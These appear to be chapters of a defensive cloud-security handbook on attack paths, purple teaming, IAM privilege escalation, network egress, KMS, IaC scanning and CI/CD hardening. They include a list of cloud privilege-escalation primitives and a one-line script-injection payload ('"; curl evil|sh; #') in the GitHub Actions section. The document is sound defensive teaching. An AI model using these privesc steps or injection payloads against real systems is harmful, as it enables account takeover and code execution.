How it works

Model the system as a directed graph.

   NODES      principals (users, roles, service accounts, workloads),
              resources (buckets, DBs, secrets, hosts, clusters),
              and "positions" (network zones, a shell in a pod).

   EDGES      "can do X to Y" -- an edge exists if some permission, trust
              relationship, network route, or vulnerability allows it.
              Label each edge with what enables it and how noisy it is.

   An ATTACK PATH is a walk from a START node (attacker's assumed position)
   to a GOAL node (an asset). The PATH's severity is a property of the
   whole walk, not the worst single edge.

Example graph fragment (SecureShop):

   [internet:anon]
        | HTTP request (always)
        v
   [svc:web pod]  --(SSRF in image proxy)-->  [metadata endpoint]
        |                                          | IMDSv1: no token needed
        | (mesh mTLS, but web CAN call...)          v
        v                                      [role:web-node-role]
   [svc:catalog-api]                                | s3:GetObject on exports-bucket
        | (over-broad OpenFGA relation)              v
        v                                      [data:exports-bucket]  <-- GOAL
   [data:orders table, tenant-scoped]                = per-tenant invoices, all tenants

Find the chokepoints. A chokepoint is an edge that appears in many paths to high-value goals. Cutting it removes the most risk per unit of effort. In the fragment above, IMDSv1 enabled is a chokepoint: enforcing IMDSv2 with hop-limit 1 breaks every SSRF-to-role path at once, cheaply, with no application change.

Score the path, not the finding.

   path_risk ~= (reachability of the start)
              x (product of edge feasibilities)
              x (value of the goal)
              / (probability you detect it in time)

   Two "medium" edges that chain to customer PII with no detection =
   a critical, and a P1 to fix. The same two edges with a high-fidelity
   alert on the middle one = a managed risk.

How it works

   1. CHOOSE techniques from a framework, prioritised by YOUR threat model:
        MITRE ATT&CK  -- the technique taxonomy (Txxxx). Filter by the
                         tactics that matter for your system (cloud:
                         "Valid Accounts", "Exfiltration to Cloud Storage";
                         k8s: "Container Administration Command",
                         "Escape to Host").
        MITRE ATT&CK for Cloud / Containers  -- the relevant matrices.
        Threat-intel:  what are groups targeting orgs like yours actually
                       doing? (Ch 53)

   2. EXECUTE with a controlled tool, in a lab or a sanctioned window:
        Atomic Red Team   -- small, single-technique tests (YAML "atomics"),
                             endpoint-focused, run via `Invoke-AtomicTest`.
        Stratus Red Team  -- cloud-native techniques (AWS/k8s), "warm up /
                             detonate / cleanup" lifecycle. Purpose-built
                             for this.
        CALDERA           -- MITRE's automated emulation server; chains
                             techniques into operations; plug-ins for cloud.
        Leonidas          -- AWS attack techniques as code, YAML-defined.
        Prelude Operator, Vectr (tracking), AtomicTestHarnesses.

   3. OBSERVE: for each technique, record
        PREVENTED?   did a control stop it (IAM deny, admission policy,
                     network policy)?  -- best outcome
        DETECTED?    did an alert fire? with what fidelity and latency?
        LOGGED?      is the evidence in the data even if no rule matched?
        MISSED?      nothing -- a gap.

   4. TUNE: write/fix the detection (Ch 51), add the control, re-run until
        it's PREVENTED or DETECTED with acceptable latency.

   5. TRACK coverage as a heat map: ATT&CK technique x (prevent/detect/gap).
        This is your honest security posture, and it's reportable (Ch 62).

Purple team vs red team vs pentest:

   PENTEST        find as many vulns as possible in a scope/time box. Output:
                  a findings report. Point-in-time.
   RED TEAM       achieve a specific objective (get to the crown jewels)
                  stealthily, testing detection & response as much as
                  prevention. Output: "we got in via X, moved via Y, you
                  saw Z". Adversarial.
   PURPLE TEAM    red and blue in the same room, running techniques openly
                  to build detection coverage. Output: new/tuned detections
                  and a coverage map. Collaborative, repeatable, the best
                  ROI for most orgs.
   ADVERSARY      automated, continuous purple: run the technique library
   EMULATION /    on a schedule (BAS -- breach & attack simulation) so
   BAS            regressions are caught.

How it works

The attacker's post-foothold loop:

   ORIENT     where am I? what identity do I have? what can it reach?
              (whoami, env vars, metadata, mounted secrets, token scopes,
               network neighbours)
   ESCALATE   get a more powerful identity (IAM privesc, k8s RBAC abuse,
              sudo, a service token)
   MOVE       reach the next system (reused creds, trust relationships,
              exposed internal services, SSRF, mesh calls)
   PERSIST    survive a reboot / rotation (new IAM key, cron, k8s
              CronJob/DaemonSet, OAuth grant, SSH key, webhook)
   COLLECT    find and stage the data
   EXFIL      move it out (cloud storage in the attacker's account, DNS,
              a webhook, a pastebin)
   Each step is an opportunity to CONTAIN (make it impossible) or DETECT
   (make it loud).

Containment-by-design controls, mapped to the loop:

   ORIENT     minimise ambient discovery: no broad `list`/`describe`, no
              wildcard read, workload identity scoped to exactly what the
              service needs, secrets injected not mounted broadly, network
              default-deny so "who's my neighbour" returns nothing.
   ESCALATE   remove privesc edges (Part 2 Ch 6, Part 4 Ch 17); permission
              boundaries / SCPs cap the ceiling; no standing admin (JIT).
   MOVE       segmentation (G1 Ch 39) + identity on every hop (mTLS, Part 5)
              so a reachable service still refuses an unauthenticated or
              wrong-identity call; unique creds per service (no shared DB
              user); short-lived everything.
   PERSIST    immutable infra (no in-place changes; drift = alert);
              short-lived credentials so a stolen one dies; detections on
              "new IAM key created", "new admission webhook", "new
              CronJob", "OAuth app authorised".
   COLLECT    tenant isolation + data-access limits (Part 7) so even broad
              read can't scoop everything; canary records that alert on
              access.
   EXFIL      egress default-deny with an allowlist; DLP on known channels;
              block/alert on writes to storage outside your accounts;
              detections on large or unusual outbound.

The blast-radius question, for every component: "if this is fully compromised, exactly what is now exposed, and what stops it spreading further?" Write the answer down. If it's "everything", you have a flat trust domain and that's the finding.

How it works

Tiered practice:

   TIER 0 -- every change: a "security notes" field in the design doc / PR
     template. 3 prompts: "What trust boundary does this touch? What new
     data or capability does it expose? What's the worst thing a malicious
     caller could do?" 5 minutes. Reviewer can escalate.

   TIER 1 -- new service / significant redesign: a 60-90 min session, the
     four questions + STRIDE per element, a DFD kept as code
     (`pytm`, Threagile, or Mermaid in the repo), threats tracked as
     issues with mitigate/eliminate/transfer/accept + owner + date.

   TIER 2 -- crown-jewel systems, new tenancy model, auth changes, crypto:
     add attack trees and/or an attacker-goal method (PASTA, or "attack
     path" from Ch 1). Bring an adversary-emulation plan (Ch 2). Consider
     an external review.

   TIER 3 -- pre-launch / high regulatory exposure: full PASTA or a
     dedicated red-team objective; DPIA if personal data (Part 7 Ch 47).

Methods, and when each earns its cost:

   STRIDE            default. Per-element prompt for "what can go wrong".
   Attack trees      when you have a specific attacker goal to decompose
                     ("read another tenant's data" -> OR of sub-goals).
   Attack paths      when the system is graph-shaped (cloud/k8s/microservices)
                     -- Ch 1. Often more useful than STRIDE here.
   PASTA             risk-centric, 7 stages, ties threats to business impact;
                     heavyweight; good for Tier 2/3 and for exec buy-in.
   LINDDUN           privacy threats (linkability, identifiability,
                     non-repudiation-as-harm, detectability, disclosure,
                     unawareness, non-compliance). Use alongside STRIDE
                     whenever personal data is involved (Part 7).
   Kill-chain / ATT&CK  frame threats as adversary progression -> directly
                     feeds detection coverage.

Keep it alive:

   [ ] DFD + threat list live in the repo, versioned, reviewed in PRs that
       change the design.
   [ ] Threats are issues in the tracker with the same lifecycle as bugs
       (owner, priority, done).
   [ ] Accepted risks: written, with an owner and an expiry, visible to
       someone accountable. Re-reviewed at expiry.
   [ ] Re-run after any incident touching the system -- a real attack is
       ground truth.
   [ ] A quarterly 30-min "has the model drifted?" check for Tier 1+ systems.

How it works

The shared responsibility model (know exactly where the line is):

   PROVIDER secures ("security OF the cloud"):
     physical DCs, hardware, hypervisor, the global network backbone,
     managed-service internals (RDS engine host, S3 storage layer, the
     Lambda sandbox).

   YOU secure ("security IN the cloud"):
     IAM (identities, policies, roles, federation),
     resource configuration (bucket policies, SG rules, KMS key policies,
       public/private settings, versioning),
     OS + app on anything you run (EC2, containers, functions' code),
     network design (VPC, subnets, routing, endpoints),
     data (classification, encryption choices, retention),
     detection & response for your account activity.

   The line MOVES by service model:
     IaaS (EC2)      you patch the OS.
     PaaS (RDS)      provider patches the engine; you patch nothing, but you
                     configure access, encryption, network, backups.
     FaaS (Lambda)   provider runs everything; you own the code, its deps,
                     its IAM role, and its triggers.
     SaaS            you own configuration and data governance only.

The identity plane. Every cloud action is an authenticated, authorised, logged API call. The pieces:

   PRINCIPALS
     - human users (federated from your IdP -- ideally NO long-lived IAM
       users; use SSO -> temporary role sessions)
     - workload identities: an EC2 instance profile, an EKS pod role (IRSA),
       a Lambda execution role, a GCP service account, an Azure managed
       identity
     - external principals: another account, a partner, a SaaS integration
       (cross-account role assumption -- a common breach vector)

   CREDENTIALS
     - long-lived: IAM access keys, service-account key files -> the thing
       that leaks (G1 Ch 49). Aim to have ~none.
     - temporary: STS session tokens (AssumeRole), OIDC-federated tokens,
       instance metadata creds -> short TTL, the goal state.

   PERMISSIONS
     - identity-based policies (attached to the principal)
     - resource-based policies (attached to the resource: bucket policy,
       KMS key policy, role trust policy)
     - guardrails: SCPs (org-wide caps), permission boundaries (per-principal
       cap), session policies (per-session cap)

   EVERY call is evaluated against ALL of these, and LOGGED (CloudTrail /
   Cloud Audit Logs / Azure Activity Log). The log is your primary
   detection data source (Ch 54).

Provider mapping:

How it works

AWS policy evaluation, precisely (commit this to memory):

   1. Start: implicit DENY.
   2. Is there an explicit DENY that matches? (in ANY of: SCP, identity
      policy, resource policy, permission boundary, session policy, VPC
      endpoint policy)  -> DENY. Nothing overrides an explicit deny.
   3. SCP: for a member account, the action must be allowed by SCPs.
      (Management account is not restricted by SCPs.)
   4. Resource-based policy: an Allow here can grant access even with no
      identity policy (same account). Cross-account: need Allow on BOTH
      sides.
   5. Identity-based policy: an Allow here grants access (subject to the
      rest).
   6. Permission boundary: if attached, the action must ALSO be allowed by
      it (it's a ceiling, not a grant).
   7. Session policy: if present (AssumeRole with --policy), must ALSO
      allow.
   FINAL: allowed only if some Allow applies AND no Deny applies AND every
   applicable ceiling (SCP, boundary, session) also allows.

The privilege-escalation primitives (AWS — the classic set; each is an edge "principal with permission X -> effectively admin or another role"):

   GRANT YOURSELF MORE (on your own user/role):
     iam:CreatePolicyVersion (+ SetAsDefault)   -> rewrite an attached policy
     iam:SetDefaultPolicyVersion                -> roll to an old permissive version
     iam:AttachUserPolicy / AttachRolePolicy    -> attach AdministratorAccess
     iam:PutUserPolicy / PutRolePolicy          -> inline an allow-* policy
     iam:AddUserToGroup                         -> join an admin group
     iam:CreateAccessKey (on another user)      -> steal a more-privileged user
     iam:CreateLoginProfile / UpdateLoginProfile-> set a console password on a
                                                   privileged user
     iam:UpdateAssumeRolePolicy                 -> make a privileged role trust you

   PASS A ROLE TO A COMPUTE SERVICE YOU CONTROL (iam:PassRole + ...):
     + ec2:RunInstances                         -> launch an instance with an
                                                   admin role, read its creds
     + lambda:CreateFunction + Invoke (or an
       event-source mapping)                    -> run code as an admin role
     + glue:CreateDevEndpoint / sagemaker /
       cloudformation / datapipeline / ecs      -> same idea, different service
     lambda:UpdateFunctionCode (existing fn
       with a good role)                        -> overwrite its code

   ASSUME:
     sts:AssumeRole where a role's trust policy is `Principal: *` or
       over-broad  -> just assume it

GCP equivalents:

   iam.serviceAccounts.actAs + (compute.instances.create /
     cloudfunctions.create / run.services.create / ...)  -> run as a
     more-privileged service account (the default Compute SA is Editor!)
   iam.serviceAccounts.getAccessToken / signJwt / signBlob  -> mint tokens
     for another SA directly
   iam.serviceAccountKeys.create  -> long-lived key for another SA
   resourcemanager.projects.setIamPolicy (or iam.roles.update)  -> grant
     yourself Owner
   deploymentmanager / cloudbuild jobs run as a Google-managed SA that is
     often project Editor  -> submit a job that escalates

Azure equivalents:

   Microsoft.Authorization/roleAssignments/write (Owner or User Access
     Administrator)  -> assign yourself Owner
   Assign a privileged MANAGED IDENTITY to a VM / automation account you
     control, then pull its token from IMDS
   Entra: Application Administrator / Cloud Application Administrator ->
     add a secret to a privileged service principal -> auth as it
   Entra: Privileged Role Administrator -> grant yourself Global Admin
   VM run-command / custom-script-extension -> local exec -> MI token

Defence:

   [ ] NO wildcards on iam:* actions in identity policies. Especially not
       iam:PassRole with Resource:* -- scope PassRole to specific role ARNs
       and add an iam:PassedToService condition.
   [ ] Permission boundaries on every non-admin human and CI role -> caps
       the ceiling so even a privesc primitive can't exceed the boundary.
   [ ] SCPs that deny: iam:CreateUser, iam:CreateAccessKey (outside a
       break-glass path), cloudtrail:StopLogging, disabling GuardDuty/
       Config, leaving the org, modifying the log-archive bucket, using
       regions you don't operate in, root actions.
   [ ] Role trust policies: never `Principal: "*"`; use exact account/role
       ARNs + `sts:ExternalId` for third parties (confused-deputy).
   [ ] Analyse continuously: run PMapper / cloudsplaining / Access Analyzer
       "unused access" in CI; fail on new privesc edges.
   [ ] Prefer permission sets via IAM Identity Center (SSO) over IAM users;
       zero standing admin (JIT elevation).

How it works

Account/project structure (AWS Organizations; GCP folders; Azure management groups):

   management (org root)   -- ONLY org management + billing. No workloads.
                              Break-glass access only. Root creds in a safe,
                              MFA, alarmed.
   security                -- log archive (immutable), GuardDuty/Security Hub
                              delegated admin, IR tooling, the SOC's account.
   log-archive             -- write-only-from-org S3 buckets for CloudTrail/
                              Config; object lock; no human read except IR.
   shared-services         -- CI/CD, artifact registry, DNS, golden AMIs.
   network                 -- Transit Gateway, central egress, DNS resolvers.
   workloads/
     prod/                 -- one account PER application (or per team), so a
       secureshop-prod       compromise of one app is one account.
       otherapp-prod
     staging/  dev/  sandbox/

   PRINCIPLE: an account is the strongest isolation boundary the cloud
   gives you cheaply. Use it as the unit of blast radius.

Guardrails — Service Control Policies (AWS), Org Policy + IAM Deny (GCP), Azure Policy (Azure):

   SCPs do NOT grant. They set the MAXIMUM available permissions for every
   account they apply to (management account excepted). Two styles:
     ALLOWLIST  deny everything, allow named services/actions (tight; high
                maintenance).
     DENYLIST   allow all, deny a curated set of dangerous things (common
                starting point).

   A solid denylist SCP set:
     [ ] Deny disabling/altering CloudTrail, Config, GuardDuty, Security
         Hub, Access Analyzer.
     [ ] Deny writing to / deleting the log-archive buckets (except the
         org logging principal).
     [ ] Deny leaving the organization; deny modifying the account's
         Organizations membership.
     [ ] Deny use of regions you don't operate in (shrinks attack surface,
         cuts crypto-mining blast radius).
     [ ] Deny root user actions except a defined break-glass set.
     [ ] Deny iam:CreateUser / CreateAccessKey / CreateLoginProfile
         (force SSO + roles) except a break-glass path.
     [ ] Deny making S3 buckets / EBS snapshots / RDS snapshots / AMIs
         public.
     [ ] Deny disabling default EBS encryption; deny creating unencrypted
         RDS.
     [ ] Require IMDSv2 (deny RunInstances without
         MetadataOptions.HttpTokens=required, HttpPutResponseHopLimit=1).
     [ ] Deny Create/UpdateFunction etc. that pass roles outside an
         approved path (defence in depth for Ch 6).

   GCP: Organization Policy constraints (constraints/compute.
   requireOsLogin, iam.disableServiceAccountKeyCreation,
   storage.publicAccessPrevention, sql.restrictPublicIp,
   compute.vmExternalIpAccess, gcp.resourceLocations) + IAM Deny policies
   for the deny-style rules.
   Azure: Azure Policy definitions/initiatives (deny public IP, require
   encryption, allowed locations, deny classic resources) assigned at the
   management-group level; plus Entra Conditional Access for identity.

Landing zones package all of this: AWS Control Tower / Landing Zone Accelerator, GCP "Cloud Foundation Toolkit" / Fabric, Azure Landing Zones. They give you the account factory, baseline SCPs, centralised logging, and guardrails as IaC. Use one rather than hand-rolling — but understand what it's doing.

Delegated administration & centralisation: designate the security account as the delegated admin for GuardDuty, Security Hub, Access Analyzer, Config, and Detective, so findings from every account aggregate there and the workload accounts can't turn them off.

How it works

The building blocks (AWS terms; GCP/Azure analogues in parentheses):

   VPC (VPC / VNet)            an isolated software-defined network.
   Subnet                      public (route to an Internet Gateway) or
                               private (no direct inbound from internet).
   Security Group              STATEFUL, instance/ENI-level allow rules.
                               The workhorse. Reference other SGs, not just
                               CIDRs ("allow from the app SG on 5432").
   NACL (firewall rules)       STATELESS, subnet-level, allow+deny. Coarse
                               backstop; easy to misuse (ephemeral ports).
   Route table                 where traffic goes (IGW, NAT, TGW, endpoints).
   NAT Gateway                 outbound-only internet for private subnets.
   Internet Gateway            bidirectional; only public subnets.
   VPC Endpoint (Private
     Service Connect /          reach AWS services (S3, KMS, STS, ECR...)
     Private Link)              WITHOUT traversing the internet. Gateway
                               endpoints (S3/DynamoDB) or Interface
                               endpoints (most others). Attach an ENDPOINT
                               POLICY to restrict which resources/accounts.
   Transit Gateway (Network
     Connectivity Center /      hub-and-spoke connecting many VPCs/on-prem.
     vWAN)
   VPC Flow Logs               connection metadata (5-tuple, bytes, ACCEPT/
                               REJECT). A key detection source (Ch 54).
   DNS (Route 53 Resolver)     resolver query logging; DNS Firewall to
                               block known-bad / DNS-exfil domains.

Segmentation pattern for SecureShop-in-a-VPC:

   VPC 10.20.0.0/16
     public subnets   : ALB only. SG: 443 from internet, egress to app SG.
     app subnets      : EKS nodes / services. SG: from ALB SG on the app
                        port; from itself for mesh; NO direct internet
                        inbound.
     data subnets     : RDS, ElastiCache, OpenSearch. SG: 5432/6379/9200
                        from the app SG ONLY. No NAT route (data tier
                        should not reach the internet at all).
     endpoints        : Interface endpoints for STS, KMS, Secrets Manager,
                        ECR, CloudWatch Logs, SSM; Gateway endpoint for S3.
                        -> app tier reaches AWS APIs privately; you can
                        then DENY those APIs over the internet via endpoint
                        + resource policy (`aws:sourceVpce` condition).
     egress           : private subnets route 0.0.0.0/0 to a central
                        egress VPC (via TGW) running a forward proxy /
                        AWS Network Firewall with an FQDN ALLOWLIST.

Egress control is the exfiltration control. Default-deny outbound, allow a curated list (package mirrors, your APIs, telemetry), and log/alert on everything else.

   Layers:
     SG egress rules          coarse (protocol/port/dest SG).
     NAT + Network Firewall   FQDN/domain allowlist, TLS SNI filtering,
     / forward proxy          protocol enforcement. THIS is where you stop
                              "curl attacker.com | sh" and data exfil to an
                              unknown host.
     Route 53 DNS Firewall    block resolution of newly-registered / known-
                              malicious / high-entropy (DGA) domains; catch
                              DNS tunnelling.
     VPC endpoint policies    even S3 access is limited to YOUR buckets ->
                              blocks "exfil to my personal S3 bucket".
     Flow Logs + alerts       REJECTs spiking, large transfers to new
                              externals, connections from the data tier
                              outbound (should be zero).

Identity still gates the call. A reachable orders-api must still refuse an unauthenticated or wrong-SPIFFE-identity request (Part 5). Network reachability is necessary, not sufficient — that's the assume-breach posture (Ch 3).

How it works

Key types:

   KMS KEY (CMK / "customer managed key")
     - lives in the KMS service, backed by FIPS 140-2/3 HSMs
     - the raw key material NEVER leaves KMS (unless you imported it)
     - you call KMS to Encrypt/Decrypt/GenerateDataKey; KMS enforces the
       KEY POLICY + grants + (AWS) the caller's IAM policy
     - symmetric (AES-256, the default) or asymmetric (RSA/ECC) or HMAC
   AWS-MANAGED KEY (`aws/s3`, `aws/rds`...) -- convenient, but you don't
     control the key policy -> use CUSTOMER-managed keys for anything
     sensitive so YOU decide who can decrypt.
   DATA KEY (DEK) -- an ordinary AES key used to encrypt actual data.
     Generated by KMS (`GenerateDataKey` returns plaintext DEK +
     KMS-encrypted DEK). Not stored in KMS.

Envelope encryption (the core pattern):

   ENCRYPT an object:
     1. app calls kms:GenerateDataKey(KeyId = tenant-42-CMK)
        -> { Plaintext: DEK, CiphertextBlob: EncryptedDEK }
     2. app encrypts the object with DEK using AES-GCM (a real AEAD lib,
        G1 Ch 15). 
     3. app stores: [ EncryptedDEK ] + [ nonce ] + [ ciphertext ] + [ tag ]
     4. app ZEROES the plaintext DEK from memory.
   DECRYPT:
     1. app calls kms:Decrypt(CiphertextBlob = EncryptedDEK)  -- KMS checks
        the key policy: is THIS principal allowed to use tenant-42-CMK?
     2. KMS returns the plaintext DEK.
     3. app decrypts the object, zeroes the DEK.

   WHY: one KMS call per object is cheap; you can cache/scope DEKs; the
   ACCESS DECISION ("can this principal read tenant 42's data?") is
   enforced by KMS on the key, centrally and audited (CloudTrail logs
   every Decrypt with the principal and the encryption context).

Encryption context — additional authenticated data (G1 Ch 15) passed to KMS, e.g. { "tenant": "42", "purpose": "invoice" }. It's logged, and it must match on decrypt, so it binds a ciphertext to its context and gives you fine-grained CloudTrail filtering and key-policy conditions (kms:EncryptionContext:tenant).

The key hierarchy for SecureShop:

   org-root CMK (in the security account, tight key policy)
     |  (not used directly for data; roots a small number of things)
   per-environment CMK (prod)          -- default EBS/S3/RDS encryption
   per-tenant CMK  (tenant-42-CMK ...) -- wraps that tenant's DEKs
     key policy: allow kms:Decrypt only to `data-service-role` AND only
     with EncryptionContext tenant=42; allow kms:GenerateDataKey similarly;
     deny everything else; admins can manage but NOT use.
   per-object DEK (ephemeral)          -- actual AES-GCM key, discarded

Crypto-shredding (deletion by key destruction): if tenant 42's data is encrypted only under DEKs wrapped by tenant-42-CMK, then kms:ScheduleKeyDeletion on that CMK (7-30 day window) renders every one of those objects permanently unrecoverable — a clean, auditable erasure primitive across S3, RDS snapshots, backups, and logs simultaneously (Part 7 Ch 46). Works only if the per-tenant key boundary is real and no plaintext copies exist elsewhere.

Storage-service specifics:

   S3   default encryption with a CUSTOMER CMK; enforce with a bucket
        policy `Deny s3:PutObject if s3:x-amz-server-side-encryption-aws-
        kms-key-id != <your CMK>`; Block Public Access at account + bucket;
        Object Lock (WORM) for logs/backups; versioning + MFA-delete for
        ransomware resilience.
   RDS/Aurora  encryption at rest must be set at CREATE time (can't add
        later without a snapshot/restore); use a customer CMK; block
        snapshot sharing via SCP; IAM database authentication where
        possible.
   EBS  enable "default encryption" account-wide with a customer CMK (SCP-
        enforced).
   Secrets Manager / Parameter Store  encrypt with a customer CMK; prefer
        dynamic secrets (G1 Ch 49).

How it works

Scan the plan, not just the code.

   Static scan of .tf files          catches obvious issues but misses
                                     anything computed, from variables, or
                                     from modules.
   Scan the PLAN (terraform plan
     -out=tfplan; terraform show
     -json tfplan > plan.json)       sees the ACTUAL resource attributes
                                     that will be created -> far fewer
                                     false negatives. Do this in CI.

   Scanners:  Checkov, tfsec (now in Trivy), KICS, Terrascan, Snyk IaC,
              `trivy config`, cfn-nag / cfn-guard / cfn-lint (CFN),
              Regula. Run 2 (they have different rule coverage), fail the
              build on HIGH+ with a documented, time-boxed exception file.

Policy as code — encode YOUR rules, not just the scanner's defaults.

   OPA/Rego + conftest     policy tests against plan.json / k8s manifests.
   Sentinel                Terraform Cloud/Enterprise native policy.
   CloudFormation Guard    (cfn-guard) rules for CFN/CDK output.
   Checkov custom policies  Python/YAML.

   Rules worth writing:
     - no security group with 0.0.0.0/0 on 22/3389/5432/6379/9200/27017
     - every S3 bucket: BlockPublicAcls, encryption with a customer CMK,
       versioning
     - every RDS: storage_encrypted, no public access, deletion protection,
       backup retention >= N
     - IMDSv2 required on every launch template / instance
     - no IAM policy with Action "*" or "iam:*" on Resource "*"
     - no iam:PassRole without a resource scope + PassedToService condition
     - CloudTrail multi-region + log file validation on
     - all resources tagged owner/env/data-classification
     - only approved regions
   These become PR-blocking checks -> the misconfig never merges.

Protect the state.

   Terraform state (.tfstate) contains EVERY resource attribute IN
   PLAINTEXT -- including RDS master passwords, generated secrets, private
   keys, IAM policy documents. It is a credentials file.

   [ ] NEVER commit state to git. Add *.tfstate* to .gitignore; scan for
       it (gitleaks).
   [ ] Remote backend: S3 with SSE-KMS (customer CMK) + versioning +
       Block Public Access + a bucket policy restricting to the CI role
       and a break-glass role; DynamoDB table for state locking. Or
       Terraform Cloud/Enterprise / Spacelift / env0 with encryption and
       RBAC.
   [ ] Tight IAM on the state bucket -- reading it = reading every secret
       in the estate.
   [ ] `terraform output` marks sensitive values, but `terraform show` /
       `state pull` still expose them -- treat those commands as
       privileged.
   [ ] Prefer generating secrets OUTSIDE Terraform (in Vault / Secrets
       Manager with a rotation Lambda) so they never enter state at all.

Pin the supply chain.

   [ ] Provider lockfile (.terraform.lock.hcl) committed, with checksums
       for all platforms your CI + devs use (`terraform providers lock
       -platform=...`).
   [ ] Module sources pinned: a version constraint for registry modules;
       a commit SHA (not a branch) for `git::` sources. No `ref=main`.
   [ ] Prefer a PRIVATE module registry with reviewed, versioned modules
       (the "paved road" for infra -- Ch 13).
   [ ] Vet third-party modules like any dependency (G1 Ch 47): what
       providers do they configure, what data sources do they read, do
       they have `local-exec` provisioners running scripts?
   [ ] `local-exec` / `remote-exec` provisioners run arbitrary commands on
       the CI runner -- treat a module that uses them as code execution.

Detect drift.

   Reality diverges from code: a click-ops hotfix, an auto-scaling change,
   an attacker's backdoor (a new IAM policy, an opened SG, a new admission
   webhook).
   [ ] Scheduled `terraform plan` (detects drift as a non-empty plan) with
       an alert on unexpected changes.
   [ ] AWS Config rules + conformance packs; CloudFormation drift
       detection; GCP Config Validator; Azure Policy compliance.
   [ ] Continuous cloud posture scan (Prowler/ScoutSuite/Steampipe,
       cloud-native Security Hub/SCC/Defender) -- the backstop for
       whatever IaC doesn't manage.
   [ ] Alert specifically on security-relevant drift: SG opened, policy
       broadened, logging disabled, encryption removed, public access
       enabled.

How it works

Map the OWASP Top 10 CI/CD Security Risks to concrete controls:

   1 INSUFFICIENT FLOW CONTROL -- code/artefacts reach prod without review
     or gates. -> branch protection, required reviews (CODEOWNERS),
     required status checks, environment protection rules with required
     reviewers for prod, no direct push to main, signed commits/tags.

   2 INADEQUATE IAM -- too many people/systems can change pipelines or
     hold prod creds. -> least-privilege on the CI platform, SSO + MFA,
     scoped GITHUB_TOKEN (default read-only; grant per-job), separate
     identities per pipeline, no shared service accounts.

   3 DEPENDENCY CHAIN ABUSE -- G1 Ch 47 (typosquat, confusion, malicious
     update). -> lockfiles, private registry proxy with allowlist, scoped
     internal names, SBOM + scan (Ch 13).

   4 POISONED PIPELINE EXECUTION (PPE) -- the big one:
       DIRECT PPE:   an attacker who can modify the CI config file in a
                     branch/PR gets their steps run. -> require review of
                     workflow files (CODEOWNERS on .github/workflows/**),
                     don't run untrusted workflow definitions.
       INDIRECT PPE: the CI config is fixed, but it runs files the attacker
                     CAN change -- a Makefile, build.gradle, a test script,
                     a lint config, a `package.json` "scripts" hook, a
                     conftest policy. Opening a PR that edits `Makefile`
                     and having CI run `make` = RCE on the runner.
                     -> pipelines triggered by fork PRs must run with NO
                     secrets and a read-only token, on an ephemeral
                     isolated runner; require approval to run workflows on
                     PRs from first-time / external contributors.

   5 INSUFFICIENT PBAC -- a pipeline can do more than its job (deploy
     anywhere, read all secrets). -> per-pipeline credentials scoped to
     one app/one environment; prod deploy is a separate, gated pipeline.

   6 CREDENTIAL HYGIENE -- long-lived secrets in CI variables, printed in
     logs, over-scoped. -> OIDC federation to the cloud (no static keys),
     short-lived tokens, secret masking, scan logs, rotate, least scope.

   7 INSECURE SYSTEM CONFIG -- outdated CI server, weak runner isolation,
     debug/SSH-to-runner enabled, permissive webhooks. -> patch, harden,
     ephemeral runners, disable interactive debug on protected branches.

   8 UNGOVERNED 3RD-PARTY SERVICES -- every OAuth app / GitHub App / CI
     plugin / marketplace action with repo or org access is trust you've
     extended. -> inventory and review them; least scope; remove unused;
     pin actions to a full commit SHA.

   9 IMPROPER ARTIFACT INTEGRITY -- nothing verifies that what's deployed
     is what CI built from reviewed source. -> sign artefacts (cosign),
     generate provenance (SLSA), verify at admission (Ch 13).

   10 INSUFFICIENT LOGGING/VISIBILITY -- you can't tell what the pipeline
      did or who changed it. -> ship CI audit logs + run logs to your SIEM;
      alert on workflow-file changes, new secrets, new runners, permission
      changes.

GitHub Actions specifics (the patterns generalise to GitLab CI, Jenkins, CircleCI, Buildkite):

   [ ] `permissions:` block in every workflow, default `contents: read`;
       grant `id-token: write`, `packages: write` etc. only per-job.
   [ ] NEVER use `pull_request_target` with a checkout of the PR head and
       then run its code -- that runs untrusted code WITH the base repo's
       secrets and a write token. If you must label-gate PRs, checkout the
       BASE and don't execute PR code.
   [ ] Script injection: `run: echo "${{ github.event.pull_request.title }}"`
       -- a PR titled `"; curl evil|sh; #` executes. Pass event data via
       `env:` and reference `"$TITLE"`, never interpolate `${{ }}` into a
       `run:` shell.
   [ ] Pin every action to a full commit SHA (`actions/checkout@<40-hex>`),
       not `@v4`. Consider `@v4` only for first-party actions with a
       comment, and use Dependabot to bump SHAs.
   [ ] Ephemeral, isolated runners. Self-hosted runners on PUBLIC repos =
       fork PRs run attacker code on your infra -> use GitHub-hosted or
       ephemeral, network-isolated, single-use runners.
   [ ] `actions/checkout` with `persist-credentials: false` unless you
       need the token for later git ops.
   [ ] Environment protection rules: `production` environment with
       required reviewers + wait timer + branch restriction; deploy jobs
       target it.
   [ ] Restrict which actions can run (org policy: "allow select actions",
       verified creators + an allowlist).

OIDC to the cloud — do it, and pin the trust:

   Instead of storing AWS keys in CI secrets, the workflow requests an
   OIDC token from the CI provider and exchanges it for a short-lived
   cloud role session.

   The cloud role's TRUST POLICY must pin the subject tightly:
     "Condition": {
       "StringEquals": {
         "token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
       },
       "StringLike": {
         "token.actions.githubusercontent.com:sub":
           "repo:secureshop/platform:environment:production"
       }
     }
   COMMON MISCONFIG: `sub` set to `repo:secureshop/*` or omitted -> ANY
   repo in the org (or forks, or any branch) can assume the prod deploy
   role. Pin to the exact repo AND ref/environment.

How it works

SLSA — Supply-chain Levels for Software Artifacts (v1.0 Build track):

   Build L0   no guarantees.
   Build L1   provenance EXISTS -- a machine-readable record of how the
              artefact was built (builder, source, entry point).
   Build L2   provenance is SIGNED and generated by a HOSTED build
              platform (not a laptop). Tampering after the build is
              detectable.
   Build L3   the build platform is HARDENED: builds are isolated from
              each other, secret material for signing is inaccessible to
              user-defined build steps, provenance is non-falsifiable even
              by someone who controls the build definition.
   Aim for L3 for anything that runs in prod. GitHub Actions + the
   `slsa-github-generator` reusable workflow gets you to L3.

Provenance (in-toto attestation / SLSA predicate): a signed statement that says "artefact with digest X was built by builder B from source repo R at commit C, using build config F, with these materials/inputs". It travels with the artefact (as an OCI referrer, or in Rekor).

SBOM (G1 Ch 47): the component inventory. Also produced at build, also signed, also attached.

Signing with Sigstore:

   cosign  -- signs container images and blobs.
   Fulcio  -- a CA that issues SHORT-LIVED (10 min) certs bound to an
              OIDC identity (the CI workflow's identity, or a human's
              Google/GitHub login). "Keyless" -- no long-lived signing key
              to steal.
   Rekor   -- a public (or your private) transparency log of signatures
              and attestations -> tamper-evident, auditable.

